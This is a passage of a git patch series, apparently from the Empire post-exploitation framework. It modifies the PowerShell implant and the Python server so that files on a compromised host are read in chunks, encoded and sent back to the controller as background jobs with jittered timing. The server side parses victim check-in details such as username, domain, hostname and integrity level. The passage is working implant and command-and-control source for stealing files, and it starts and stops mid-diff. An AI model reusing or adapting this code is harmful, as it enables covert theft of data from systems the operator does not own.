@@ class Agents: f.write(task) f.close() - return pk + return taskID finally: self.lock.release() @@ -1180,7 +1180,6 @@ class Agents: try: message = encryption.aes_decrypt_and_verify(stagingKey, encData) except Exception as e: - print 'exception e:' + str(e) # if we have an error during decryption dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents') return 'ERROR: HMAC verification failed' @@ -1292,18 +1291,18 @@ class Agents: dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') - listener = unicode(parts[1], 'utf-8') - domainname = unicode(parts[2], 'utf-8') - username = unicode(parts[3], 'utf-8') - hostname = unicode(parts[4], 'utf-8') - external_ip = unicode(clientIP, 'utf-8') - internal_ip = unicode(parts[5], 'utf-8') - os_details = unicode(parts[6], 'utf-8') - high_integrity = unicode(parts[7], 'utf-8') - process_name = unicode(parts[8], 'utf-8') - process_id = unicode(parts[9], 'utf-8') - language = unicode(parts[10], 'utf-8') - language_version = unicode(parts[11], 'utf-8') + # listener = parts[1].encode('ascii', 'ignore') + domainname = parts[2].encode('ascii', 'ignore') + username = parts[3].encode('ascii', 'ignore') + hostname = parts[4].encode('ascii', 'ignore') + external_ip = clientIP.encode('ascii', 'ignore') + internal_ip = parts[5].encode('ascii', 'ignore') + os_details = parts[6].encode('ascii', 'ignore') + high_integrity = parts[7].encode('ascii', 'ignore') + process_name = parts[8].encode('ascii', 'ignore') + process_id = parts[9].encode('ascii', 'ignore') + language = parts[10].encode('ascii', 'ignore') + language_version = parts[11].encode('ascii', 'ignore') if high_integrity == "True": high_integrity = 1 else: @@ -1530,17 +1529,17 @@ class Agents: else: print "sysinfo:",data # extract appropriate system information - listener = unicode(parts[1], 'utf-8') - domainname = unicode(parts[2], 'utf-8') - username = unicode(parts[3], 'utf-8') - hostname = unicode(parts[4], 'utf-8') - internal_ip = unicode(parts[5], 'utf-8') - os_details = unicode(parts[6], 'utf-8') - high_integrity = unicode(parts[7], 'utf-8') - process_name = unicode(parts[8], 'utf-8') - process_id = unicode(parts[9], 'utf-8') - language = unicode(parts[10], 'utf-8') - language_version = unicode(parts[11], 'utf-8') + listener = parts[1].encode('ascii', 'ignore') + domainname = parts[2].encode('ascii', 'ignore') + username = parts[3].encode('ascii', 'ignore') + hostname = parts[4].encode('ascii', 'ignore') + internal_ip = parts[5].encode('ascii', 'ignore') + os_details = parts[6].encode('ascii', 'ignore') + high_integrity = parts[7].encode('ascii', 'ignore') + process_name = parts[8].encode('ascii', 'ignore') + process_id = parts[9].encode('ascii', 'ignore') + language = parts[10].encode('ascii', 'ignore') + language_version = parts[11].encode('ascii', 'ignore') if high_integrity == 'True': high_integrity = 1 else: @@ -1599,7 +1598,6 @@ class Agents: # decode the file data and save it off as appropriate file_data = helpers.decode_base64(data) name = self.get_agent_name_db(sessionID) - dispatcher.send("[!] Received file data with length: %s" % (str(len(file_data))), sender='Agents') if index == "0": self.save_file(name, path, file_data) @@ -1607,7 +1605,6 @@ class Agents: self.save_file(name, path, file_data, append=True) # update the agent log msg = "file download: %s, part: %s" % (path, index) - dispatcher.send(msg + " " + sessionID, sender='Agents') self.save_agent_log(sessionID, msg) From 1d763e5220dbd83d5b74479022a28fd856ffa3d0 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 16:53:11 -0700 Subject: [PATCH 06/22] Changed agents.py --- lib/common/agents.py | 57 ++++++++++++++++++++++---------------------- 1 file changed, 29 insertions(+), 28 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index effbd37..286e5df 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -55,7 +55,7 @@ handle_agent_data() is the main function that should be used by external listene Most methods utilize self.lock to deal with the concurreny issue of kicking off threaded listeners. """ - +# -*- encoding: utf-8 -*- import os import json import string @@ -1041,14 +1041,14 @@ class Agents: if pk is None: pk = 0 pk = (pk + 1) % 65536 - taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid + cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]) # append our new json-ified task and update the backend - agent_tasks.append([taskName, task, taskID]) + agent_tasks.append([taskName, task, pk]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID)) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) cur.close() @@ -1058,7 +1058,7 @@ class Agents: f.write(task) f.close() - return taskID + return pk finally: self.lock.release() @@ -1180,6 +1180,7 @@ class Agents: try: message = encryption.aes_decrypt_and_verify(stagingKey, encData) except Exception as e: + print 'exception e:' + str(e) # if we have an error during decryption dispatcher.send("[!] HMAC verification failed from '%s'" % (sessionID), sender='Agents') return 'ERROR: HMAC verification failed' @@ -1291,18 +1292,18 @@ class Agents: dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents') - # listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - external_ip = clientIP.encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + external_ip = unicode(clientIP, 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == "True": high_integrity = 1 else: @@ -1529,17 +1530,17 @@ class Agents: else: print "sysinfo:",data # extract appropriate system information - listener = parts[1].encode('ascii', 'ignore') - domainname = parts[2].encode('ascii', 'ignore') - username = parts[3].encode('ascii', 'ignore') - hostname = parts[4].encode('ascii', 'ignore') - internal_ip = parts[5].encode('ascii', 'ignore') - os_details = parts[6].encode('ascii', 'ignore') - high_integrity = parts[7].encode('ascii', 'ignore') - process_name = parts[8].encode('ascii', 'ignore') - process_id = parts[9].encode('ascii', 'ignore') - language = parts[10].encode('ascii', 'ignore') - language_version = parts[11].encode('ascii', 'ignore') + listener = unicode(parts[1], 'utf-8') + domainname = unicode(parts[2], 'utf-8') + username = unicode(parts[3], 'utf-8') + hostname = unicode(parts[4], 'utf-8') + internal_ip = unicode(parts[5], 'utf-8') + os_details = unicode(parts[6], 'utf-8') + high_integrity = unicode(parts[7], 'utf-8') + process_name = unicode(parts[8], 'utf-8') + process_id = unicode(parts[9], 'utf-8') + language = unicode(parts[10], 'utf-8') + language_version = unicode(parts[11], 'utf-8') if high_integrity == 'True': high_integrity = 1 else: From 629fd7c4e66592df64b4d933e5863b20af0cc9a1 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 17:04:31 -0700 Subject: [PATCH 07/22] Changed agents.ps1 --- data/agent/agent.ps1 | 135 +++++++++++++++++++++---------------------- 1 file changed, 67 insertions(+), 68 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 04ae9d7..4ff6dd3 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -391,76 +391,35 @@ function Invoke-Empire { $DownloadFile = @" function Download-File { - param(`$Data,`$type,`$ResultID,`$Delay,`$Jitter) - try { - `$ChunkSize = 512KB + param(`$Path,`$ChunkSize,`$type,`$ResultID,`$Delay,`$Jitter) + # read in and send the specified chunk size back for as long as the file has more parts + `$Index = 0 + do{ + `$EncodedPart = Get-FilePart -File "`$Path" -Index `$Index -ChunkSize `$ChunkSize - `$Parts = `$Data.Split(" ") + if(`$EncodedPart) { + `$data = "{0}|{1}|{2}" -f `$Index, `$path, `$EncodedPart + Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID) + `$Index += 1 - if(`$Parts.Length -gt 1) { - `$Path = `$Parts[0..(`$parts.length-2)] -join " " - try { - `$ChunkSize = `$Parts[-1]/1 - if(`$Parts[-1] -notlike "*b*") { - # if MB/KB not specified, assume KB and adjust accordingly - `$ChunkSize = `$ChunkSize * 1024 + # if there are more parts of the file, sleep for the specified interval + if (`$script:AgentDelay -ne 0) { + `$min = [int]((1-`$Jitter)*`$Delay) + `$max = [int]((1+`$Jitter)*`$Delay) + + if (`$min -eq `$max) { + `$sleepTime = `$min } - } - catch { - # if there's an error converting the last token, assume no - # chunk size is specified and add the last token onto the path - `$Path += " `$(`$Parts[-1])" - } - } - else { - `$Path = `$Data - } - - `$Path = `$Path.Trim('"').Trim("'") - - # hardcoded floor/ceiling limits - if(`$ChunkSize -lt 64KB) { - `$ChunkSize = 64KB - } - elseif(`$ChunkSize -gt 8MB) { - `$ChunkSize = 8MB - } - - # resolve the complete path - `$Path = Get-Childitem `$Path | ForEach-Object {`$_.FullName} - - # read in and send the specified chunk size back for as long as the file has more parts - `$Index = 0 - do{ - `$EncodedPart = Get-FilePart -File "`$path" -Index `$Index -ChunkSize `$ChunkSize - - if(`$EncodedPart) { - `$data = "{0}|{1}|{2}" -f `$Index, `$path, `$EncodedPart - Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID) - `$Index += 1 - - # if there are more parts of the file, sleep for the specified interval - if (`$script:AgentDelay -ne 0) { - `$min = [int]((1-`$Jitter)*`$Delay) - `$max = [int]((1+`$Jitter)*`$Delay) - - if (`$min -eq `$max) { - `$sleepTime = `$min - } - else{ - `$sleepTime = Get-Random -minimum `$min -maximum `$max; - } - Start-Sleep -s `$sleepTime; + else{ + `$sleepTime = Get-Random -minimum `$min -maximum `$max; } + Start-Sleep -s `$sleepTime; } - [GC]::Collect() - } while(`$EncodedPart) + } + [GC]::Collect() + } while(`$EncodedPart) - Encode-Packet -type 40 -data "[*] File download of `$path completed" -ResultID `$ResultID - } - catch { - Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID `$ResultID - } + Encode-Packet -type 40 -data "[*] File download of `$path completed" -ResultID `$ResultID } function Encode-Packet { @@ -572,7 +531,7 @@ function Get-FilePart { "@ function Start-DownloadJob { - param($ScriptString,$Type,$ResultID,$Data) + param($ScriptString,$Type,$ResultID,$Path,$ChunkSize) $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) # create our new AppDomain @@ -582,7 +541,7 @@ function Get-FilePart { $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() # add the target script into the new runspace/appdomain - $ScriptString = "$ScriptString`n Download-File -type $Type -Data $Data -ResultID $ResultID -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" + $ScriptString = "$ScriptString`n Download-File -type $Type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" $null = $PSHost.AddScript($ScriptString) # stupid v2 compatibility... @@ -1028,8 +987,48 @@ function Get-FilePart { } # file download elseif($type -eq 41) { - $jobID = Start-DownloadJob -ScriptString $DownloadFile -Type $type -ResultID $ResultID -Data $Data - $script:ResultIDs[$jobID]=$ResultID + try { + $ChunkSize = 512KB + + $Parts = $Data.Split(" ") + + if($Parts.Length -gt 1) { + $Path = $Parts[0..($parts.length-2)] -join " " + try { + $ChunkSize = $Parts[-1]/1 + if($Parts[-1] -notlike "*b*") { + # if MB/KB not specified, assume KB and adjust accordingly + $ChunkSize = $ChunkSize * 1024 + } + } + catch { + # if there's an error converting the last token, assume no + # chunk size is specified and add the last token onto the path + $Path += " $($Parts[-1])" + } + } + else { + $Path = $Data + } + + $Path = $Path.Trim('"').Trim("'") + + # hardcoded floor/ceiling limits + if($ChunkSize -lt 64KB) { + $ChunkSize = 64KB + } + elseif($ChunkSize -gt 8MB) { + $ChunkSize = 8MB + } + + $Path = Get-Childitem $Path | ForEach-Object {$_.FullName} + + $jobID = Start-DownloadJob -ScriptString $DownloadFile -Type $type -ResultID $ResultID -ChunkSize $ChunkSize -Path $Path + $script:ResultIDs[$jobID]=$ResultID + } + catch { + Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID `$ResultID + } } # file upload elseif($type -eq 42) { From 6a13c5cbab48e2cabe0b9ba064be98f8369307e2 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 18:11:01 -0700 Subject: [PATCH 08/22] Testing --- data/agent/agent.ps1 | 4 +++- lib/common/agents.py | 1 + 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 4ff6dd3..d93670b 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1027,7 +1027,7 @@ function Get-FilePart { $script:ResultIDs[$jobID]=$ResultID } catch { - Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID `$ResultID + Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID } } # file upload @@ -1299,9 +1299,11 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName + "Final data: $($Results.Length)" } else { $Results = Receive-DownloadJob -JobName $JobName + "Received Data: $($Results.Length)" } if($Results) { diff --git a/lib/common/agents.py b/lib/common/agents.py index 286e5df..c8db00c 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -312,6 +312,7 @@ class Agents: # make the recursive directory structure if it doesn't already exist if not os.path.exists(save_path): os.makedirs(save_path) + print "Saving file download to: " + save_path # save the file out f = open(save_path + "/" + filename, 'w') From 5b01f6c8d671569730628e9ce3b13212491000f1 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 19:39:09 -0700 Subject: [PATCH 09/22] Still testing --- data/agent/agent.ps1 | 61 +++++++++++++++++++++++++------------------- lib/common/agents.py | 1 - 2 files changed, 35 insertions(+), 27 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index d93670b..846db9b 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -130,7 +130,7 @@ function Invoke-Empire { # keep track of all background jobs # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } $Script:Jobs = @{} - $Script:Downloads = @{} + # the currently imported script held in memory $script:ImportedScript = '' @@ -389,28 +389,28 @@ function Invoke-Empire { "`n"+($output | Format-Table -wrap | Out-String) } - $DownloadFile = @" + #Download file script block that will run in the background + + $Download = @" function Download-File { - param(`$Path,`$ChunkSize,`$type,`$ResultID,`$Delay,`$Jitter) - # read in and send the specified chunk size back for as long as the file has more parts + param(`$Type,`$Path,`$ResultID,`$ChunkSize,`$Delay,`$Jitter) + `$Index = 0 do{ `$EncodedPart = Get-FilePart -File "`$Path" -Index `$Index -ChunkSize `$ChunkSize - - if(`$EncodedPart) { - `$data = "{0}|{1}|{2}" -f `$Index, `$path, `$EncodedPart - Encode-Packet -type `$type -data `$(`$data) -ResultID `$ResultID) + if (`$EncodedPart) { + `$data = "{0}|{1}|{2}" -f `$Index,`$Path,`$EncodedPart + Encode-Packet -type `$Type -data `$(`$data) -ResultID `$ResultID `$Index += 1 - # if there are more parts of the file, sleep for the specified interval - if (`$script:AgentDelay -ne 0) { + if (`$Delay -ne 0) { `$min = [int]((1-`$Jitter)*`$Delay) `$max = [int]((1+`$Jitter)*`$Delay) if (`$min -eq `$max) { `$sleepTime = `$min } - else{ + else { `$sleepTime = Get-Random -minimum `$min -maximum `$max; } Start-Sleep -s `$sleepTime; @@ -419,7 +419,7 @@ function Download-File { [GC]::Collect() } while(`$EncodedPart) - Encode-Packet -type 40 -data "[*] File download of `$path completed" -ResultID `$ResultID + Encode-Packet -type 40 -data "[*] File download of `$Path completed" -ResultID `$ResultID } function Encode-Packet { @@ -435,7 +435,7 @@ function Encode-Packet { # in case we get a result array, make sure we join everything up if (`$data -is [System.Array]) { - `$data = `$data -join "`n" + `$data = `$data -join "``n" } # convert data to base64 so we can support all encodings and handle on server side @@ -457,6 +457,7 @@ function Encode-Packet { `$packet } + function Get-FilePart { Param( [string] `$File, @@ -529,19 +530,21 @@ function Get-FilePart { } } "@ +#Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize function Start-DownloadJob { - param($ScriptString,$Type,$ResultID,$Path,$ChunkSize) - $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) + param($ScriptString, $type, $Path, $ResultID, $ChunkSize) + $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) # create our new AppDomain $AppDomain = [AppDomain]::CreateDomain($RandName) # load the PowerShell dependency assemblies in the new runspace and instantiate a PS runspace $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() + $ScriptString = "$ScriptString`n Download-File -Type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" + # add the target script into the new runspace/appdomain - $ScriptString = "$ScriptString`n Download-File -type $Type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize -Delay $($script:AgentDelay) -Jitter $($script:AgentJitter)" $null = $PSHost.AddScript($ScriptString) # stupid v2 compatibility... @@ -552,10 +555,11 @@ function Get-FilePart { # kick off asynchronous execution $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))) - $Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} + $Script:Downloads[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} $RandName } + # returns $True if the specified job is completed, $False otherwise function Get-DownloadJobCompleted { param($JobName) if($Script:Downloads.ContainsKey($JobName)) { @@ -563,13 +567,16 @@ function Get-FilePart { } } - function Receive-AgentJob { + # reads any data from the output buffer preserved for the specified job + function Receive-DownloadJob { param($JobName) if($Script:Downloads.ContainsKey($JobName)) { $Script:Downloads[$JobName]['Buffer'].ReadAll() } } + # stops the specified agent job (wildcards accepted), returns any job results, + # tear down the appdomain, and remove the job from the internal cache function Stop-DownloadJob { param($JobName) if($Script:Downloads.ContainsKey($JobName)) { @@ -987,6 +994,7 @@ function Get-FilePart { } # file download elseif($type -eq 41) { + "In download task" try { $ChunkSize = 512KB @@ -1021,10 +1029,12 @@ function Get-FilePart { $ChunkSize = 8MB } + # resolve the complete path $Path = Get-Childitem $Path | ForEach-Object {$_.FullName} - $jobID = Start-DownloadJob -ScriptString $DownloadFile -Type $type -ResultID $ResultID -ChunkSize $ChunkSize -Path $Path - $script:ResultIDs[$jobID]=$ResultID + # read in and send the specified chunk size back for as long as the file has more parts + $jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize + "Called Start-DownloadJob: $jobID" } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID @@ -1206,7 +1216,7 @@ function Get-FilePart { ForEach($JobName in $Script:Downloads.Keys) { $Results = Stop-DownloadJob -JobName $JobName $JobResultID = $script:ResultIDs[$JobName] - $Packets += $Results + $Packets += $Results $script:ResultIDs.Remove($JobName) } @@ -1276,7 +1286,6 @@ function Get-FilePart { # poll running jobs, receive any data, and remove any completed jobs $JobResults = $Null - $DownloadResults = $Null ForEach($JobName in $Script:Jobs.Keys) { $JobResultID = $script:ResultIDs[$JobName] # check if the job is still running @@ -1299,20 +1308,20 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - "Final data: $($Results.Length)" + "Job $JobName completed: size - $($Results.Length)" } else { $Results = Receive-DownloadJob -JobName $JobName - "Received Data: $($Results.Length)" + "Job $JobName: Received data size - $($Results.Length)" } if($Results) { - $DownloadResults += $Results + $JobResults += $Results } } if ($JobResults) { - Send-Message -Packets $($JobResults + $DownloadResults) + Send-Message -Packets $JobResults } # get the next task from the server diff --git a/lib/common/agents.py b/lib/common/agents.py index c8db00c..286e5df 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -312,7 +312,6 @@ class Agents: # make the recursive directory structure if it doesn't already exist if not os.path.exists(save_path): os.makedirs(save_path) - print "Saving file download to: " + save_path # save the file out f = open(save_path + "/" + filename, 'w') From 0ee401c1cc681210015ae370a98e92af5c87a99e Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 19:45:02 -0700 Subject: [PATCH 10/22] Ugh --- data/agent/agent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 846db9b..0506f8d 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -130,7 +130,7 @@ function Invoke-Empire { # keep track of all background jobs # format: {'RandomJobName' : @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}, ... } $Script:Jobs = @{} - + $Script:Downloads = @{} # the currently imported script held in memory $script:ImportedScript = '' From bee5f6c96c0030a1df5dee86033921535139ecf9 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 19:54:15 -0700 Subject: [PATCH 11/22] :( --- data/agent/agent.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 0506f8d..f5d8802 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1308,11 +1308,11 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - "Job $JobName completed: size - $($Results.Length)" + } else { $Results = Receive-DownloadJob -JobName $JobName - "Job $JobName: Received data size - $($Results.Length)" + } if($Results) { From d313309b95370f2dad5e96efcd99992c3bd29dc5 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 20:04:35 -0700 Subject: [PATCH 12/22] Moooore testing --- data/agent/agent.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index f5d8802..192288e 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1308,11 +1308,11 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - + Write-Host "Job $JobName complete: $($Results.Length)" } else { $Results = Receive-DownloadJob -JobName $JobName - + Write-Host "Job $JobName received: $($Results.Length)" } if($Results) { From c60216f2b6987e9780af925fa927c57e73c5f918 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 20:13:58 -0700 Subject: [PATCH 13/22] More testing --- data/agent/agent.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 192288e..4cddabf 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -994,7 +994,7 @@ function Get-FilePart { } # file download elseif($type -eq 41) { - "In download task" + Write-Host "In Download task" try { $ChunkSize = 512KB @@ -1308,11 +1308,12 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - Write-Host "Job $JobName complete: $($Results.Length)" + Write-Host "Job $JobName complete: size - $($Results.Length)" } else { $Results = Receive-DownloadJob -JobName $JobName - Write-Host "Job $JobName received: $($Results.Length)" + Write-Host "Job $JobName data received: size - $($Results.Length)" + } if($Results) { From e7bd4ca0fd81cecfe760bd883e8bb94bf696cd26 Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 20:17:17 -0700 Subject: [PATCH 14/22] More testing --- data/agent/agent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 4cddabf..ffdeaa6 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -1034,7 +1034,7 @@ function Get-FilePart { # read in and send the specified chunk size back for as long as the file has more parts $jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize - "Called Start-DownloadJob: $jobID" + Write-Host "Called Start-DownloadJob: $jobID" } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID From c21afaabbef987d753e67627073913eae43319af Mon Sep 17 00:00:00 2001 From: xorrior Date: Mon, 14 Aug 2017 20:26:02 -0700 Subject: [PATCH 15/22] ... --- data/agent/agent.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index ffdeaa6..2cb3fc5 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -994,7 +994,7 @@ function Get-FilePart { } # file download elseif($type -eq 41) { - Write-Host "In Download task" + "In Download task" | Out-File -Append "d.log" try { $ChunkSize = 512KB @@ -1034,7 +1034,7 @@ function Get-FilePart { # read in and send the specified chunk size back for as long as the file has more parts $jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize - Write-Host "Called Start-DownloadJob: $jobID" + "Called Start-DownloadJob: $jobID" | Out-File -Append "d.log" } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID @@ -1308,11 +1308,11 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - Write-Host "Job $JobName complete: size - $($Results.Length)" + "Job $JobName complete: size - $($Results.Length)" | Out-File -Append "d.log" } else { $Results = Receive-DownloadJob -JobName $JobName - Write-Host "Job $JobName data received: size - $($Results.Length)" + "Job $JobName data received: size - $($Results.Length)" | Out-File -Append "d.log" } From eb656a136cb0fcac03116a17541b7d4dffa39e5c Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 06:31:54 -0700 Subject: [PATCH 16/22] .. --- data/agent/agent.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 2cb3fc5..b093c67 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -996,7 +996,7 @@ function Get-FilePart { elseif($type -eq 41) { "In Download task" | Out-File -Append "d.log" try { - $ChunkSize = 512KB + $ChunkSize = 1KB $Parts = $Data.Split(" ") @@ -1006,7 +1006,7 @@ function Get-FilePart { $ChunkSize = $Parts[-1]/1 if($Parts[-1] -notlike "*b*") { # if MB/KB not specified, assume KB and adjust accordingly - $ChunkSize = $ChunkSize * 1024 + $ChunkSize = $ChunkSize * 256 } } catch { @@ -1022,11 +1022,11 @@ function Get-FilePart { $Path = $Path.Trim('"').Trim("'") # hardcoded floor/ceiling limits - if($ChunkSize -lt 64KB) { - $ChunkSize = 64KB + if($ChunkSize -lt 256KB) { + $ChunkSize = 256KB } - elseif($ChunkSize -gt 8MB) { - $ChunkSize = 8MB + elseif($ChunkSize -gt 1MB) { + $ChunkSize = 1MB } # resolve the complete path From 8d33585e9d51fb299f9abf8096b3f311f4407664 Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 07:40:40 -0700 Subject: [PATCH 17/22] fixed path --- data/agent/agent.ps1 | 8 ++++---- lib/common/agents.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index b093c67..d49fc49 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -996,7 +996,7 @@ function Get-FilePart { elseif($type -eq 41) { "In Download task" | Out-File -Append "d.log" try { - $ChunkSize = 1KB + $ChunkSize = 10KB $Parts = $Data.Split(" ") @@ -1006,7 +1006,7 @@ function Get-FilePart { $ChunkSize = $Parts[-1]/1 if($Parts[-1] -notlike "*b*") { # if MB/KB not specified, assume KB and adjust accordingly - $ChunkSize = $ChunkSize * 256 + $ChunkSize = $ChunkSize * 128 } } catch { @@ -1022,8 +1022,8 @@ function Get-FilePart { $Path = $Path.Trim('"').Trim("'") # hardcoded floor/ceiling limits - if($ChunkSize -lt 256KB) { - $ChunkSize = 256KB + if($ChunkSize -lt 10KB) { + $ChunkSize = 10KB } elseif($ChunkSize -gt 1MB) { $ChunkSize = 1MB diff --git a/lib/common/agents.py b/lib/common/agents.py index 